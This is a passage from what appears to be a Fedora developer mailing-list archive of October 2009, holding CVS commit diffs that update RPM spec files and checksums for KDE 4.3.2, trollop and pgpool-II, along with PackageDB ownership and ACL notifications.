* Sun Sep 20 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-0
- Version update,

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 1.10.2-1
- Initial release of trollop.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:26:44 -0000	1.1
+++ .cvsignore	4 Oct 2009 08:34:12 -0000	1.2
@@ -0,0 +1 @@
+trollop-1.15.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:26:44 -0000	1.1
+++ sources	4 Oct 2009 08:34:12 -0000	1.2
@@ -0,0 +1 @@
+359347775ff3166eb13ec80363ad67a1  trollop-1.15.gem



From pkgdb at fedoraproject.org  Sun Oct  4 08:43:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:43:41 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004084341.39CBB10F871@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora devel is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:43:46 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004084346.5A90C10F890@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 11 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:43:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:43:47 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004084347.5A59B10F894@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 12 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:43:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:43:44 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004084344.BB1B310F84D@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 10 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From than at fedoraproject.org  Sun Oct  4 09:07:57 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 09:07:57 +0000 (UTC)
Subject: rpms/kdeaccessibility/devel .cvsignore, 1.47,
	1.48 kdeaccessibility.spec, 1.91, 1.92 sources, 1.47, 1.48
Message-ID: <20091004090757.D63B611C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeaccessibility/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10088

Modified Files:
	.cvsignore kdeaccessibility.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/devel/.cvsignore,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- .cvsignore	1 Sep 2009 12:40:50 -0000	1.47
+++ .cvsignore	4 Oct 2009 09:07:57 -0000	1.48
@@ -1 +1,2 @@
 kdeaccessibility-4.3.1.tar.bz2
+kdeaccessibility-4.3.2.tar.bz2


Index: kdeaccessibility.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/devel/kdeaccessibility.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- kdeaccessibility.spec	28 Aug 2009 12:32:22 -0000	1.91
+++ kdeaccessibility.spec	4 Oct 2009 09:07:57 -0000	1.92
@@ -1,7 +1,7 @@
 Summary:        K Desktop Environment - Accessibility
 Name:           kdeaccessibility
 Epoch:          1
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -143,6 +143,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeaccessibility/devel/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	28 Aug 2009 12:32:22 -0000	1.47
+++ sources	4 Oct 2009 09:07:57 -0000	1.48
@@ -1 +1 @@
-82f2175329c87b84a25be586b69d6b25  kdeaccessibility-4.3.1.tar.bz2
+52ab06324f1d47ce5d14638e74b206ed  kdeaccessibility-4.3.2.tar.bz2



From pkgdb at fedoraproject.org  Sun Oct  4 09:35:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:35:56 +0000
Subject: [pkgdb] mono: chkr has requested watchbugzilla
Message-ID: <20091004093556.BA6B310F871@bastion2.fedora.phx.redhat.com>

chkr has requested the watchbugzilla acl on mono (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:35:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:35:58 +0000
Subject: [pkgdb] mono: chkr has requested watchcommits
Message-ID: <20091004093558.E954910F892@bastion2.fedora.phx.redhat.com>

chkr has requested the watchcommits acl on mono (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:15 +0000
Subject: [pkgdb] mono: chkr has requested watchbugzilla
Message-ID: <20091004093615.E003B10F890@bastion2.fedora.phx.redhat.com>

chkr has requested the watchbugzilla acl on mono (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:19 +0000
Subject: [pkgdb] mono: chkr has requested watchcommits
Message-ID: <20091004093619.3FA2E10F89C@bastion2.fedora.phx.redhat.com>

chkr has requested the watchcommits acl on mono (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:21 +0000
Subject: [pkgdb] mono: chkr has requested commit
Message-ID: <20091004093621.1B33210F8A2@bastion2.fedora.phx.redhat.com>

chkr has requested the commit acl on mono (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:28 +0000
Subject: [pkgdb] mono: chkr has requested watchbugzilla
Message-ID: <20091004093628.83CA710F871@bastion2.fedora.phx.redhat.com>

chkr has requested the watchbugzilla acl on mono (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:29 +0000
Subject: [pkgdb] mono: chkr has requested watchcommits
Message-ID: <20091004093629.75AB210F894@bastion2.fedora.phx.redhat.com>

chkr has requested the watchcommits acl on mono (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:29 +0000
Subject: [pkgdb] mono: chkr has requested commit
Message-ID: <20091004093629.DAC8210F89C@bastion2.fedora.phx.redhat.com>

chkr has requested the commit acl on mono (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:35 +0000
Subject: [pkgdb] mono: chkr has requested watchcommits
Message-ID: <20091004093635.30F6110F894@bastion2.fedora.phx.redhat.com>

chkr has requested the watchcommits acl on mono (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:37 +0000
Subject: [pkgdb] mono: chkr has requested commit
Message-ID: <20091004093637.9197F10F895@bastion2.fedora.phx.redhat.com>

chkr has requested the commit acl on mono (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:01 +0000
Subject: [pkgdb] mono: chkr has requested commit
Message-ID: <20091004093601.2B4BB10F895@bastion2.fedora.phx.redhat.com>

chkr has requested the commit acl on mono (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Sun Oct  4 09:36:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 09:36:34 +0000
Subject: [pkgdb] mono: chkr has requested watchbugzilla
Message-ID: <20091004093634.B540B10F871@bastion2.fedora.phx.redhat.com>

chkr has requested the watchbugzilla acl on mono (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mono



From than at fedoraproject.org  Sun Oct  4 09:52:34 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 09:52:34 +0000 (UTC)
Subject: rpms/kdeartwork/devel .cvsignore, 1.65, 1.66 kdeartwork.spec, 1.117,
	1.118 sources, 1.66, 1.67
Message-ID: <20091004095234.BBFE011C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeartwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21996

Modified Files:
	.cvsignore kdeartwork.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/devel/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	1 Sep 2009 12:47:21 -0000	1.65
+++ .cvsignore	4 Oct 2009 09:52:34 -0000	1.66
@@ -1 +1,2 @@
 kdeartwork-4.3.1.tar.bz2
+kdeartwork-4.3.2.tar.bz2


Index: kdeartwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/devel/kdeartwork.spec,v
retrieving revision 1.117
retrieving revision 1.118
diff -u -p -r1.117 -r1.118
--- kdeartwork.spec	28 Sep 2009 08:29:29 -0000	1.117
+++ kdeartwork.spec	4 Oct 2009 09:52:34 -0000	1.118
@@ -1,6 +1,6 @@
 Name:           kdeartwork
-Version:        4.3.1
-Release:        2%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -212,6 +212,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Mon Sep 28 2009 Than Ngo <than at redhat.com> - 4.3.1-2
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/devel/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	28 Aug 2009 12:39:03 -0000	1.66
+++ sources	4 Oct 2009 09:52:34 -0000	1.67
@@ -1 +1 @@
-9dbb00b76968658a7337e839fa342230  kdeartwork-4.3.1.tar.bz2
+e4e51be6fe0eaf1290604884a64d28a3  kdeartwork-4.3.2.tar.bz2



From than at fedoraproject.org  Sun Oct  4 09:38:32 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 09:38:32 +0000 (UTC)
Subject: rpms/kdeadmin/devel .cvsignore, 1.67, 1.68 kdeadmin.spec, 1.148,
	1.149 sources, 1.68, 1.69
Message-ID: <20091004093832.F382111C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdeadmin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17646

Modified Files:
	.cvsignore kdeadmin.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/devel/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Sep 2009 12:42:03 -0000	1.67
+++ .cvsignore	4 Oct 2009 09:38:32 -0000	1.68
@@ -1 +1,2 @@
 kdeadmin-4.3.1.tar.bz2
+kdeadmin-4.3.2.tar.bz2


Index: kdeadmin.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/devel/kdeadmin.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- kdeadmin.spec	28 Aug 2009 12:34:20 -0000	1.148
+++ kdeadmin.spec	4 Oct 2009 09:38:32 -0000	1.149
@@ -6,7 +6,7 @@
 Name:           kdeadmin
 Summary:        K Desktop Environment - Administrative tools
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -159,6 +159,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/devel/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	28 Aug 2009 12:34:20 -0000	1.68
+++ sources	4 Oct 2009 09:38:32 -0000	1.69
@@ -1 +1 @@
-e946d243d0e6e1fdbb24c732acca9c1e  kdeadmin-4.3.1.tar.bz2
+f547b55cf912f1437ebd2fd7e5059fe4  kdeadmin-4.3.2.tar.bz2



From than at fedoraproject.org  Sun Oct  4 10:11:06 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 10:11:06 +0000 (UTC)
Subject: rpms/kdebase/devel .cvsignore, 1.93, 1.94 kdebase.spec, 1.396,
	1.397 sources, 1.115, 1.116 kdebase-4.3.2-konsolemenus.patch,
	1.1, NONE
Message-ID: <20091004101106.C1F5311C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebase/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27390

Modified Files:
	.cvsignore kdebase.spec sources 
Removed Files:
	kdebase-4.3.2-konsolemenus.patch 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase/devel/.cvsignore,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- .cvsignore	1 Sep 2009 12:55:12 -0000	1.93
+++ .cvsignore	4 Oct 2009 10:11:05 -0000	1.94
@@ -1 +1,2 @@
 kdebase-4.3.1.tar.bz2
+kdebase-4.3.2.tar.bz2


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/devel/kdebase.spec,v
retrieving revision 1.396
retrieving revision 1.397
diff -u -p -r1.396 -r1.397
--- kdebase.spec	27 Sep 2009 21:58:16 -0000	1.396
+++ kdebase.spec	4 Oct 2009 10:11:05 -0000	1.397
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -14,7 +14,6 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:   kdebase-4.1.80-nsplugins-paths.patch
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
-Patch3:   kdebase-4.3.2-konsolemenus.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -61,7 +60,9 @@ BuildRequires: qimageblitz-devel
 BuildRequires: libsmbclient-devel
 BuildRequires: soprano-devel 
 BuildRequires: strigi-devel 
+%if 0%{?fedora}
 BuildRequires: webkitpart-devel
+%endif
 # needed?
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
@@ -105,7 +106,6 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch0 -p1 -b .nsplugins-paths
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
-%patch3 -p0 -b .konsolemenus
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -228,6 +228,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - BR: webkitpart-devel
 - fix Provides: kdebase4%%{?_isa} (not kdelibs)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase/devel/sources,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- sources	28 Aug 2009 12:45:28 -0000	1.115
+++ sources	4 Oct 2009 10:11:05 -0000	1.116
@@ -1 +1 @@
-10dae53739f1e8bd6f5f615443649e4f  kdebase-4.3.1.tar.bz2
+7d6b968d8d8dd3730522389dabbb23e2  kdebase-4.3.2.tar.bz2


--- kdebase-4.3.2-konsolemenus.patch DELETED ---



From than at fedoraproject.org  Sun Oct  4 10:17:12 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 10:17:12 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel .cvsignore, 1.38,
	1.39 kdebase-runtime.spec, 1.143, 1.144 sources, 1.39, 1.40
Message-ID: <20091004101712.A7FE511C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28872

Modified Files:
	.cvsignore kdebase-runtime.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/devel/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	1 Sep 2009 13:01:55 -0000	1.38
+++ .cvsignore	4 Oct 2009 10:17:12 -0000	1.39
@@ -1 +1,2 @@
 kdebase-runtime-4.3.1.tar.bz2
+kdebase-runtime-4.3.2.tar.bz2


Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- kdebase-runtime.spec	30 Sep 2009 17:26:30 -0000	1.143
+++ kdebase-runtime.spec	4 Oct 2009 10:17:12 -0000	1.144
@@ -4,8 +4,8 @@
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
-Version:       4.3.1
-Release:       4%{?dist}
+Version:       4.3.2
+Release:       1%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -212,6 +212,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Wed Sep 30 2009 Nils Philippsen <nils at redhat.com> - 4.3.1-4
 - fix manpath patch (spotted by Kevin Kofler)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-runtime/devel/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	28 Aug 2009 12:53:43 -0000	1.39
+++ sources	4 Oct 2009 10:17:12 -0000	1.40
@@ -1 +1 @@
-e51384cef307280f41fa8f39e2ecab8a  kdebase-runtime-4.3.1.tar.bz2
+b0dfe65bc6d18c259c236889f92e2817  kdebase-runtime-4.3.2.tar.bz2



From than at fedoraproject.org  Sun Oct  4 10:13:26 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 10:13:26 +0000 (UTC)
Subject: rpms/kdebase/F-12 kdebase.spec,1.396,1.397
Message-ID: <20091004101326.DA96C11C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebase/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27987

Modified Files:
	kdebase.spec 
Log Message:
rhel cleanup



Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-12/kdebase.spec,v
retrieving revision 1.396
retrieving revision 1.397
diff -u -p -r1.396 -r1.397
--- kdebase.spec	27 Sep 2009 21:58:16 -0000	1.396
+++ kdebase.spec	4 Oct 2009 10:13:26 -0000	1.397
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -61,7 +61,9 @@ BuildRequires: qimageblitz-devel
 BuildRequires: libsmbclient-devel
 BuildRequires: soprano-devel 
 BuildRequires: strigi-devel 
+%if 0%{?fedora}
 BuildRequires: webkitpart-devel
+%endif
 # needed?
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
@@ -228,6 +230,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.1-5
+- rhel cleanup
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - BR: webkitpart-devel
 - fix Provides: kdebase4%%{?_isa} (not kdelibs)



From devrim at fedoraproject.org  Sun Oct  4 10:39:39 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:39:39 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/EL-4 .cvsignore, 1.9,
	1.10 postgresql-pgpool-II.spec, 1.15, 1.16 sources, 1.10, 1.11
Message-ID: <20091004103939.4017F11C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3186/EL-4

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.5, for various fixes described at
  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-4/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	7 May 2009 10:45:04 -0000	1.9
+++ .cvsignore	4 Oct 2009 10:39:38 -0000	1.10
@@ -1,2 +1 @@
-pgpool-II-2.2.tar.gz
-pgpool-II-2.2.2.tar.gz
+pgpool-II-2.2.5.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-4/postgresql-pgpool-II.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- postgresql-pgpool-II.spec	7 May 2009 10:42:01 -0000	1.15
+++ postgresql-pgpool-II.spec	4 Oct 2009 10:39:38 -0000	1.16
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.2
+Version:	2.2.5
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2109/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2423/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -96,7 +96,7 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so.*
 %{_datadir}/%{short_name}/pgpool.pam
 %{_initrddir}/pgpool
-%attr(764,root,apache) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
+%attr(764,root,root) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/pgpool
 
 %files devel
@@ -106,6 +106,11 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sun Oct 4 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.5-1
+- Update to 2.2.5, for various fixes described at 
+  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html
+- Re-apply a fix for #442372
+
 * Thu May 7 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.2-1
 - Update to 2.2.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-4/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	7 May 2009 10:45:04 -0000	1.10
+++ sources	4 Oct 2009 10:39:38 -0000	1.11
@@ -1,2 +1 @@
-3dc286e2217478acbc05f127e74bd300  pgpool-II-2.2.tar.gz
-6f14514ed4ed5368ad3ab7e2d4c5136b  pgpool-II-2.2.2.tar.gz
+410fc3e226842eda25e5cd18e9c3e703  pgpool-II-2.2.5.tar.gz



From devrim at fedoraproject.org  Sun Oct  4 10:39:39 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Sun,  4 Oct 2009 10:39:39 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/EL-5 .cvsignore, 1.9,
	1.10 postgresql-pgpool-II.spec, 1.15, 1.16 sources, 1.10, 1.11
Message-ID: <20091004103939.5FD3711C0296@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3186/EL-5

Modified Files:
	.cvsignore postgresql-pgpool-II.spec sources 
Log Message:
- Update to 2.2.5, for various fixes described at
  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-5/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	7 May 2009 10:45:05 -0000	1.9
+++ .cvsignore	4 Oct 2009 10:39:38 -0000	1.10
@@ -1,2 +1 @@
-pgpool-II-2.2.tar.gz
-pgpool-II-2.2.2.tar.gz
+pgpool-II-2.2.5.tar.gz


Index: postgresql-pgpool-II.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-5/postgresql-pgpool-II.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- postgresql-pgpool-II.spec	7 May 2009 10:42:01 -0000	1.15
+++ postgresql-pgpool-II.spec	4 Oct 2009 10:39:39 -0000	1.16
@@ -2,12 +2,12 @@
 
 Summary:	Pgpool is a connection pooling/replication server for PostgreSQL
 Name:		postgresql-%{short_name}
-Version:	2.2.2
+Version:	2.2.5
 Release:	1%{?dist}
 License:	BSD
 Group:		Applications/Databases
 URL:		http://pgpool.projects.PostgreSQL.org
-Source0:	http://pgfoundry.org/frs/download.php/2191/%{short_name}-%{version}.tar.gz
+Source0:	http://pgfoundry.org/frs/download.php/2423/%{short_name}-%{version}.tar.gz
 Source1:        pgpool.init
 Source2:        pgpool.sysconfig
 Patch1:		pgpool.conf.sample.patch
@@ -96,7 +96,7 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so.*
 %{_datadir}/%{short_name}/pgpool.pam
 %{_initrddir}/pgpool
-%attr(764,root,apache) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
+%attr(764,root,root) %config(noreplace) %{_sysconfdir}/%{short_name}/*.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/pgpool
 
 %files devel
@@ -106,6 +106,11 @@ chkconfig --add pgpool
 %{_libdir}/libpcp.so
 
 %changelog
+* Sun Oct 4 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.5-1
+- Update to 2.2.5, for various fixes described at 
+  http://lists.pgfoundry.org/pipermail/pgpool-general/2009-October/002188.html
+- Re-apply a fix for #442372
+
 * Thu May 7 2009 Devrim Gunduz <devrim at CommandPrompt.com> 2.2.2-1
 - Update to 2.2.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-5/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	7 May 2009 10:45:05 -0000	1.10
+++ sources	4 Oct 2009 10:39:39 -0000	1.11
@@ -1,2 +1 @@
-3dc286e2217478acbc05f127e74bd300  pgpool-II-2.2.tar.gz
-6f14514ed4ed5368ad3ab7e2d4c5136b  pgpool-II-2.2.2.tar.gz
+410fc3e226842eda25e5cd18e9c3e703  pgpool-II-2.2.5.tar.gz



From devrim at fedoraproject.org  Sun Oct  4 10:39:39 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
